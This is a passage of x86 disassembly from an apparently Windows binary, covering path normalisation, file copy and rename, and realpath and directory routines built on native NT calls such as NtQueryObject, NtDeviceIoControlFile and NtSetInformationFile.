movzx edi, byte [ecx + esi]
cmp edi, 0x5c
je 0x4079bb
cmp edi, 0x2f
jne 0x4079c0
inc eax
dec ecx
inc edx
jmp 0x4079a9
mov edx, dword [esp]
mov edi, esi
mov dword [esp + 4], ebx
neg ebx
sub edi, eax
mov dword [esp + 8], ebx
lea ebx, [edi + 1]
mov ecx, dword [esp + 8]
add ecx, ebx
cmp ecx, 1
je 0x4079f1
movzx ecx, byte [edx + ebx - 2]
dec ebx
cmp ecx, 0x2f
je 0x4079f5
cmp ecx, 0x5c
jne 0x4079d4
jmp 0x4079f5
mov ebx, dword [esp + 4]
mov ecx, esi
sub ecx, ebx
cmp ecx, eax
jne 0x407a04
xor eax, eax
jmp case.0x406699.6
lea ecx, [esp + 0x1180]
push edi
call fcn.0040981e
pop eax
movzx eax, word [esp + 0x1390]
test ax, ax
jne 0x407acd
push 0x210
lea eax, [esp + 0x1184]
push eax
lea eax, [esp + 0xa78]
push eax
call fcn.0040307b
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xa70]
mov dword [esp + 0x550], 0x80100000
lea edx, [esp + 0xa74]
mov dword [esp + 0x554], ecx
and dword [esp + 0x558], 0
mov dword [esp + 0x14], eax
lea eax, [esp + 0x550]
mov dword [esp + 0x55c], 7
mov dword [esp + 0x560], 2
mov word [esp + 0x564], 0x101
lea ecx, [esp + 0x240]
push eax
push dword [esp + 0x18]
call fcn.0040987b
pop eax
pop ecx
movzx eax, word [esp + 0x244]
test ax, ax
jne 0x407acd
push dword [esp + 0x240]
mov word [esp + 0x18], ax
call sub.ntdll.dll_NtClose
movzx eax, word [esp + 0x14]
mov edx, dword [esp]
test ax, ax
je 0x407b08
movzx eax, ax
cmp eax, 7
je 0x407b08
cmp eax, 8
jne 0x407726
lea eax, [ebx + 1]
mov edi, ebx
cmp dword [esp + 4], edi
je 0x407726
movzx ecx, byte [edx + edi - 1]
cmp ecx, 0x5c
je 0x407b04
cmp ecx, 0x2f
jne 0x407b57
dec edi
dec eax
jmp 0x407aeb
cmp edi, esi
mov ebx, esi
cmova ebx, edi
cmp edi, esi
jae 0x407b24
movzx eax, byte [edx + edi]
cmp eax, 0x5c
je 0x407b21
cmp eax, 0x2f
jne 0x407b28
inc edi
jmp 0x407b0f
mov edi, ebx
jmp 0x407b2a
mov ebx, edi
cmp ebx, esi
mov eax, esi
cmova eax, ebx
cmp edi, esi
jae 0x407b46
movzx ecx, byte [edx + edi]
cmp ecx, 0x2f
je 0x407b48
cmp ecx, 0x5c
je 0x407b48
inc edi
jmp 0x407b31
mov edi, eax
xor eax, eax
cmp edi, ebx
jne 0x407a04
jmp case.0x406699.6
mov ebx, dword [esp + 4]
mov ecx, dword [esp + 8]
add ecx, eax
cmp ecx, 1
je 0x407b78
movzx ecx, byte [edx + eax - 2]
dec eax
cmp ecx, 0x2f
je 0x407b7a
cmp ecx, 0x5c
jne 0x407b5b
jmp 0x407b7a
mov eax, ebx
cmp eax, edi
mov ebx, eax
jne 0x407a04
jmp 0x407726
call sub.KERNEL32.dll_GetLastError
push edi
push 0
push dword [esp + 0x18]
call sub.KERNEL32.dll_HeapFree
mov bx, 0xe
mov ecx, dword [esp + 8]
mov edx, esi
push dword [esp + 4]
call fcn.00404f61
pop eax
mov eax, ebx
jmp case.0x406699.6
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x140]
lea esi, [esp + 0xd4]
lea edx, [esp + 0x244]
mov dword [eax], 0x80100000
mov dword [eax + 4], ecx
and dword [eax + 8], 0
xor ecx, ecx
inc ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov word [eax + 0x14], 0x101
mov ecx, esi
push eax
push dword [esp + 0x14]
call fcn.0040987b
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x408269
lea eax, [esp + 0x863]
lea edx, [esp + 0xa68]
xor ecx, ecx
and eax, 0xfffffffc
sub edx, eax
cmovb edx, ecx
cmovb eax, ecx
cmovb edx, ecx
test eax, eax
je 0x407d3d
and edx, 0xfffffffe
mov ecx, edx
shr ecx, 1
test edx, edx
cmove eax, edi
cmove ecx, edx
mov edi, eax
jmp 0x407d41
mov ebx, dword [esp + 0x1184]
mov eax, dword [esp + 0x1180]
lea edx, [esp + 0x450]
lea ecx, [esp + 0x550]
mov dword [edx], esi
mov dword [esp + 0x10], ebx
push ebx
mov dword [esp + 4], eax
push eax
call fcn.0040a6b0
pop eax
pop ecx
call sub.KERNEL32.dll_GetProcessHeap
mov bx, 2
test eax, eax
je 0x408113
push 0x28
push 0
mov dword [esp + 0x1c], eax
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x408113
mov ebx, eax
mov esi, eax
mov eax, dword [esp + 4]
add ebx, 3
and ebx, 0xfffffffc
mov dword [ebx], edi
mov dword [ebx + 4], eax
mov eax, dword [esp]
mov dword [ebx + 8], eax
mov eax, dword [esp + 0x10]
mov dword [ebx + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [ebx + 0x10], eax
mov eax, dword [esp + 0x14]
mov byte [ebx + 0x20], 0
mov dword [ebx + 0x14], esi
mov dword [ebx + 0x18], eax
push 0
push 0
push ebx
push 0x40af01
push 0x1000000
push 0
call sub.KERNEL32.dll_CreateThread
test eax, eax
je 0x4080fe
mov dword [ebx + 0x1c], eax
add ebx, 0x14
mov ecx, ebx
call fcn.00409542
xor ebx, ebx
jmp 0x407bae
lea eax, [esp + 0x550]
push 0x210
push esi
push eax
call fcn.0040307b
add esp, 0xc
lea eax, [esp + 0x244]
lea ecx, [esp + 0x554]
push 9
push ecx
push eax
call sub.KERNEL32.dll_MoveFileExW
test eax, eax
jne 0x4079fd
call sub.KERNEL32.dll_GetLastError
jmp 0x40723a
xor ecx, ecx
xor edi, edi
mov ebx, dword [esi]
mov dx, 0xb
test edi, edi
je 0x40825f
add ecx, ecx
push 0
push ecx
push edi
push 1
push ebx
call sub.ntdll.dll_NtQueryObject
cmp eax, 0x80000005
je 0x407e6e
cmp eax, 0xc0000004
je 0x407e6e
cmp eax, 0xc0000008
je 0x4080ec
cmp eax, 0xc0000022
je 0x4080f5
cmp eax, 0xc0000023
je 0x407e6e
mov dx, 0xe
test eax, eax
jne 0x40825f
cmp word [edi + 2], 0
mov dword [esp + 0x14], ebx
je 0x40812d
mov eax, edi
movzx edi, word [edi]
mov eax, dword [eax + 4]
push 8
pop esi
mov edx, esi
mov ecx, str.Device_
push 8
mov dword [esp + 0x14], eax
push eax
call fcn.00409a58
pop ecx
pop edx
mov ebx, dword [esp + 0x14]
test al, 1
mov dx, 0xe
je 0x40825f
mov eax, edi
shr edi, 1
mov dword [esp + 0x20], 0
test ax, ax
mov dword [esp + 0x18], edi
je 0x40818a
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
lea ebx, [eax - 1]
lea edi, [ecx + 0x10]
cmp esi, ebx
ja 0x40818a
xor edx, edx
mov ecx, edi
inc edx
push 1
push 0x42bb9e
call fcn.00409a58
pop ecx
pop edx
test al, 1
jne 0x408186
inc esi
add edi, 2
jmp 0x407e06
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
test byte [esp + 0x20], 1
jne 0x407e48
push dword [esp + 0x24]
call sub.ntdll.dll_NtClose
lea esi, [esp + 0x1180]
movzx ebx, byte [esi + 0x7200]
sub ebx, 1
jb 0x4077f7
mov ecx, dword [esi]
call case.0x40ac85.1
add esi, 0x720
jmp 0x407e56
mov dx, 0xb
jmp 0x40825f
movzx esi, byte [esp + 0x8380]
xor edi, edi
lea ebx, [esp + 0x1180]
inc edi
sub esi, 1
jb 0x4077f7
mov ecx, dword [ebx]
call case.0x40ac85.1
add ebx, 0x720
jmp 0x407e89
xor edi, edi
jmp 0x4077fa
lea ecx, [esp + 0x80]
lea edx, [esp + 0x140]
lea eax, [esp + 0x2c]
push 0
push eax
push ebx
jmp 0x407eed
mov eax, dword [esp + 0x1180]
lea edi, [esp + 0xa70]
lea ecx, [esp + 0x140]
mov edx, ebx
mov dword [edi], eax
call fcn.00404b32
mov esi, edx
lea ecx, [esp + 0x80]
mov edx, eax
push 1
push edi
push esi
call fcn.0040a85b
add esp, 0xc
cmp word [esp + 0xa4], 0
jne 0x4080d5
push 9
pop ecx
lea eax, [esp + 0xb0]
lea esi, [esp + 0x80]
xor ebx, ebx
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [eax]
xor esi, esi
mov edx, dword [esp + 4]
lea eax, [esp + 0xa70]
mov dword [esp + 0xa74], ebx
mov dword [esp + 0xa70], esi
mov byte [esp + 0xa78], 1
lea ecx, [esp + 0x240]
push eax
push 0x8000
lea eax, [esp + 0x1188]
push eax
call fcn.0040aa4d
add esp, 0xc
cmp word [esp + 0x244], 0
jne 0x4080c9
mov eax, dword [esp + 0x240]
test eax, eax
je 0x407fa8
lea ecx, [esp + 0x550]
mov edx, edi
push eax
lea eax, [esp + 0x1184]
push eax
call fcn.0040aaf9
pop eax
pop ecx
cmp word [esp + 0x554], 0
jne 0x4080c9
mov eax, dword [esp + 0x550]
jmp 0x407faa
xor eax, eax
add esi, eax
adc ebx, 0
test eax, eax
je 0x407fc0
xor eax, dword [esp]
or eax, dword [esp + 0x10]
jne 0x407f1f
cmp byte [esp + 0xd1], 0
je 0x407fd8
push edi
call sub.ntdll.dll_NtClose
mov byte [esp + 0xd1], 0
lea edx, [esp + 0xc0]
lea edi, [esp + 0x550]
mov eax, dword [edx - 0xc]
mov ebx, dword [edx - 4]
mov esi, dword [edx - 8]
mov ecx, edi
mov dword [esp + 8], eax
push 0x10
call fcn.0040981e
pop eax
cmp word [edi + 0x210], 0
jne 0x4080c9
lea eax, [esp + 0x860]
push 0x210
push edi
push eax
call fcn.0040307b
add esp, 0xc
mov edx, dword [esp + 8]
lea edi, [esp + 0xa70]
mov ecx, edi
push esi
call fcn.0040981e
pop eax
cmp word [edi + 0x210], 0
jne 0x4080c9
push 0x210
push edi
lea eax, [esp + 0x248]
push eax
call fcn.0040307b
add esp, 0xc
lea edx, [esp + 0x864]
mov ecx, dword [esp + 0x240]
lea esi, [esp + 0xd4]
lea edi, [esp + 0x78]
mov dword [esi], 0x40110000
mov dword [esi + 4], ebx
and dword [esi + 8], 0
mov eax, dword [edx - 4]
mov dword [esi + 0xc], 7
mov dword [esi + 0x10], 1
mov word [esi + 0x14], 2
mov dword [esp + 8], ecx
mov ecx, edi
push esi
push eax
call fcn.0040987b
pop eax
pop ecx
cmp word [edi + 4], 0
jne 0x4080c9
mov eax, dword [esp + 0x78]
cmp dword [esp + 8], 0x187
mov dword [esp], eax
jb 0x408509
push dword [esp]
call sub.ntdll.dll_NtClose
lea ecx, [esp + 0xb0]
call fcn.0040abd3
push dword [esp + 4]
call sub.ntdll.dll_NtClose
mov ecx, dword [esp + 0xc]
mov edx, str.copy
jmp 0x4074ba
mov dx, 8
jmp 0x40825f
mov dx, 9
jmp 0x40825f
call sub.KERNEL32.dll_GetLastError
push esi
push 0
push dword [esp + 0x1c]
call sub.KERNEL32.dll_HeapFree
mov bx, 0xe
mov esi, dword [esp + 8]
mov edx, dword [esp]
mov ecx, esi
push dword [esp + 0x10]
call fcn.00404f61
pop eax
mov ecx, esi
jmp 0x407935
mov ebx, dword [esp + 0x14]
mov dx, 0xe
jmp 0x40825f
lea esi, [esp + 0x1180]
movzx ebx, byte [esi + 0x7200]
sub ebx, 1
jb 0x4077f7
mov ecx, dword [esi]
call case.0x40ac85.1
add esi, 0x720
jmp 0x40816e
mov dword [esp + 0x20], esi
lea edi, [esp + 0xa70]
push 0x11c
push 0
push edi
call fcn.00403060
add esp, 0xc
lea esi, [esp + 0x80]
mov edx, str.__MountPointManager
mov ecx, esi
push 0x42bba0
push 0x15
call fcn.0040987b
pop eax
pop ecx
movzx edx, word [esi + 4]
mov ebx, dword [esp + 0x14]
test dx, dx
jne 0x40825f
mov ecx, dword [esp + 0x20]
mov esi, dword [esp + 0x80]
lea eax, [esp + 0xa88]
mov dword [eax - 8], 0x18
add ecx, ecx
mov word [eax - 4], cx
push ecx
push dword [esp + 0x14]
push eax
call fcn.0040307b
add esp, 0xc
lea eax, [esp + 0xf0]
lea ecx, [esp + 0x1180]
push 0x470
push ecx
push 0x11c
push edi
push 0x6d0008
push eax
push 0
push 0
push 0
mov dword [esp + 0x40], esi
push esi
call sub.ntdll.dll_NtDeviceIoControlFile
cmp eax, 0xc0000010
je 0x40824c
cmp eax, 0xc0000022
je 0x40824c
test eax, eax
je 0x4084ab
mov si, 0xe
cmp eax, 0xc0000061
jne 0x408250
mov si, 9
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
mov ebx, dword [esp + 0x14]
mov edx, esi
mov edi, edx
push ebx
call sub.ntdll.dll_NtClose
mov eax, edi
test ax, ax
je 0x40829c
mov ecx, dword [esp + 0xc]
mov edx, str.realpath
push 8
call fcn.004088b5
pop ecx
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
mov esi, dword [esp]
push esi
mov esi, eax
call fcn.00404f61
mov eax, esi
add esp, 4
jmp case.0x406699.6
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
lea esi, [esp + 0x3c]
lea edx, [esp + 0x1180]
mov ecx, esi
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x2c]
mov dword [edx], eax
lea eax, [esp + 0xa70]
push 0x42bcad
push dword [esp + 0x14]
push eax
call fcn.00409abf
add esp, 0xc
cmp word [esi + 4], 0
mov edi, dword [esp + 0xc]
je 0x4082e9
mov ecx, edi
mov edx, str.opendir
push 7
jmp 0x408279
mov ebx, dword [esp + 0x3c]
lea esi, [esp + 0x860]
mov ecx, esi
mov edx, ebx
mov dword [esp + 0x44], ebx
call fcn.00409b4e
cmp word [esi + 0x48], 0
je 0x408326
mov ecx, edi
mov edx, str.dirstat
push 7
call fcn.004088b5
pop ecx
mov esi, eax
push ebx
call sub.ntdll.dll_NtClose
mov eax, esi
jmp 0x40827f
push 0x12
pop ecx
mov eax, edi
lea edi, [esp + 0x140]
lea esi, [esp + 0x860]
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0x450]
mov edx, dword [eax + 0xf8]
mov ecx, esi
push dword [eax + 0xac]
push dword [eax + 0xfc]
call fcn.00404c06
pop eax
pop ecx
movzx eax, word [esi + 0x14]
test ax, ax
je 0x40836d
mov edi, eax
jmp 0x40846d
mov eax, dword [esp + 0x460]
movq xmm0, qword [esp + 0x450]
movsd xmm1, qword [esp + 0x458]
lea edx, [esp + 0x80]
lea esi, [esp + 0x60]
mov dword [esp + 0x2c], edx
mov ecx, esi
mov dword [edx + 0x10], eax
movsd qword [edx + 8], xmm1
movq qword [edx], xmm0
push 4
lea eax, [esp + 0x60]
push eax
call fcn.00404c5c
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x40845f
lea esi, [esp + 0x70]
lea edx, [esp + 0x80]
mov ecx, esi
push dword [esp + 0x10]
lea eax, [esp + 0xa74]
push eax
call fcn.00404c5c
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x40845f
lea ecx, [esp + 0x80]
push 0x5c
pop edx
call fcn.00404cbf
test ax, ax
jne 0x40845f
lea esi, [esp + 0x78]
lea edx, [esp + 0x80]
mov ecx, esi
push 2
push 0x42b0dd
call fcn.00404c5c
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x40845f
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x140]
push 1
push 0x42b0e0
call fcn.00409b53
pop ecx
pop edx
test ax, ax
jne 0x40845f
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x140]
push 2
push 0x42b0e2
call fcn.00409b53
pop ecx
pop edx
test ax, ax
je 0x4086c6
lea ecx, [esp + 0x80]
mov edi, eax
call fcn.00404f43
push ebx
call sub.ntdll.dll_NtClose
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
mov esi, dword [esp]
mov eax, edi
jmp 0x40828a
lea esi, [esp + 0x1180]
movzx ebx, byte [esi + 0x7200]
sub ebx, 1
jb 0x4077f7
mov ecx, dword [esi]
call case.0x40ac85.1
add esi, 0x720
jmp 0x408493
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
lea ebx, [esp + 0x118c]
mov esi, dword [ebx - 8]
sub dword [esp + 0x18], ecx
lea eax, [eax + ecx*2]
mov dword [esp + 0x24], eax
sub esi, 1
jb 0x4085e1
movzx eax, word [ebx]
cmp eax, 0x18
mov dword [esp + 0x10], eax
jb 0x408504
mov edi, dword [ebx - 4]
lea eax, [esp + 0x1180]
add edi, eax
mov ecx, edi
push 0xc
pop edx
push 0xc
push str.DosDevices_
call fcn.00409a58
pop ecx
pop edx
test al, 1
jne 0x4085f7
add ebx, 0x18
jmp 0x4084c8
mov edx, dword [esp + 8]
lea ecx, [esp + 0x244]
lea esi, [esp + 0x118c]
mov byte [esi - 0xc], 1
lea eax, [edx + edx + 0xf]
lea edi, [edx + edx]
mov dword [esp + 0x10], eax
call fcn.0040ab99
xor ecx, ecx
test al, 1
cmovne ebx, ecx
mov dword [esi - 8], ebx
mov dword [esi - 4], edi
push edi
lea eax, [esp + 0x248]
push eax
push esi
call fcn.0040307b
add esp, 0xc
lea eax, [esp + 0x48]
push 0xa
push dword [esp + 0x14]
lea ecx, [esp + 0x1188]
push ecx
push eax
push dword [esp + 0x10]
call sub.ntdll.dll_NtSetInformationFile
cmp eax, 0xc0000022
je 0x4080c1
cmp eax, 0xc0000034
je 0x4080c1
cmp eax, 0xc0000035
je 0x4080c1
cmp eax, 0xc000003a
je 0x4080c1
cmp eax, 0xc00000d4
je 0x4080c1
test eax, eax
jne 0x4080c1
push dword [esp]
call sub.ntdll.dll_NtClose
lea ecx, [esp + 0xb0]
mov byte [ecx + 0x22], 0
call fcn.0040abd3
push dword [esp + 4]
call sub.ntdll.dll_NtClose
mov ecx, dword [esp + 0xc]
xor edx, edx
inc edx
lock xadd dword [ecx], edx
push 7
push str.copy_ok
jmp 0x40782a
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
mov dx, 8
mov ebx, dword [esp + 0x14]
jmp 0x40825f
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
shr ecx, 1
lea eax, [ecx + eax - 0xc]
cmp eax, 0x104
mov dword [esp + 0x10], eax
jbe 0x40861f
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
mov dx, 0xb
jmp 0x4085ee
lea esi, [ecx - 0xc]
mov ebx, ecx
add edi, 0x18
lea ecx, [esp + 0x860]
lea eax, [esi + esi]
push eax
push edi
mov edi, ecx
push ecx
call fcn.0040307b
add esp, 0xc
lea eax, [esp + esi*2 + 0x860]
xor ecx, ecx
cmp dword [esp + 0x18], ecx
je 0x40865c
mov edx, dword [esp + 0x24]
movzx edx, word [edx + ecx*2]
mov word [eax + ecx*2], dx
inc ecx
jmp 0x408647
mov eax, dword [esp + 0x18]
xor ecx, ecx
lea eax, [eax + ebx - 0xc]
cmp eax, ecx
je 0x40868a
cmp word [esp + ecx*2 + 0x860], 0
lea ecx, [ecx + 1]
jne 0x408666
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
mov dx, 0xd
jmp 0x4085ee
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
lea esi, [esp + 0x1180]
lea edx, [esp + 0xa70]
mov ecx, esi
push dword [esp + 0x10]
push edi
push 0x30d
call fcn.00404a86
add esp, 0xc
mov eax, dword [esi]
mov ebx, dword [esp + 0x14]
xor edi, edi
mov dword [esp + 0x10], eax
jmp 0x408261
lea eax, [esp + 0x1180]
mov dword [eax], ebx
and dword [eax + 4], 0
and dword [eax + 8], 0
mov byte [eax + 0x410], 1
lea ecx, [esp + 0xf0]
lea edx, [esp + 0x1180]
call fcn.0040a37f
cmp word [esp + 0x100], 0
jne 0x40883f
cmp byte [esp + 0xfc], 0
je 0x40883f
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
cmp byte [esp + 0xf8], 2
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
jne 0x40877e
lea ecx, [esp + 0x48]
lea edx, [esp + 0x44]
push dword [esp + 0x14]
push dword [esp + 0x14]
call fcn.0040a5ea
pop eax
pop ecx
cmp word [esp + 0x4c], 0
jne 0x4086de
mov edx, dword [esp + 0x48]
lea ecx, [esp + 0x240]
mov dword [esp + 0x18], edx
call fcn.00409b4e
cmp word [esp + 0x288], 0
je 0x4087fb
push dword [esp + 0x18]
call sub.ntdll.dll_NtClose
jmp 0x4086de
mov dword [esp + 0x68], ebx
lea ecx, [esp + 0xd4]
lea edx, [esp + 0x68]
push 0x42bafc
push dword [esp + 0x18]
push dword [esp + 0x18]
call fcn.0040a4e5
add esp, 0xc
movzx eax, word [esp + 0xd8]
test ax, ax
je 0x4087bc
mov word [esp + 0x598], ax
jmp 0x4086de
mov esi, dword [esp + 0xd4]
lea ecx, [esp + 0x550]
mov edx, esi
call fcn.0040910e
push esi
call sub.ntdll.dll_NtClose
cmp word [esp + 0x598], 0
jne 0x4086de
push 0x12
pop ecx
lea edi, [esp + 0x140]
lea esi, [esp + 0x550]
rep movsd dword es:[edi], dword [esi]
jmp 0x408817
push 0x12
pop ecx
lea edi, [esp + 0x140]
lea esi, [esp + 0x240]
rep movsd dword es:[edi], dword [esi]
push dword [esp + 0x18]
call sub.ntdll.dll_NtClose
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x140]
push dword [esp + 0x14]
push dword [esp + 0x14]
call fcn.00409b53
pop ecx
pop edx
test ax, ax
je 0x4086de
jmp 0x40845f
mov ecx, dword [esp + 0xc]
xor edx, edx
lea esi, [esp + 0x80]
inc edx
lock xadd dword [ecx], edx
push dword [esi + 4]
push dword [esi]
push 0x16
call fcn.0040899c
add esp, 0xc
mov ecx, esi
mov edi, eax
call fcn.00404f43
push dword [esp + 0x44]
call sub.ntdll.dll_NtClose
mov eax, edi
jmp 0x40827f
mov ecx, esi
call fcn.00408f8c
mov esi, dword [esp + 0xc]
lea ecx, [esi + 0x88]
call fcn.00408f93
add esi, 4
mov ecx, esi
call fcn.00408fed
call fcn.00409014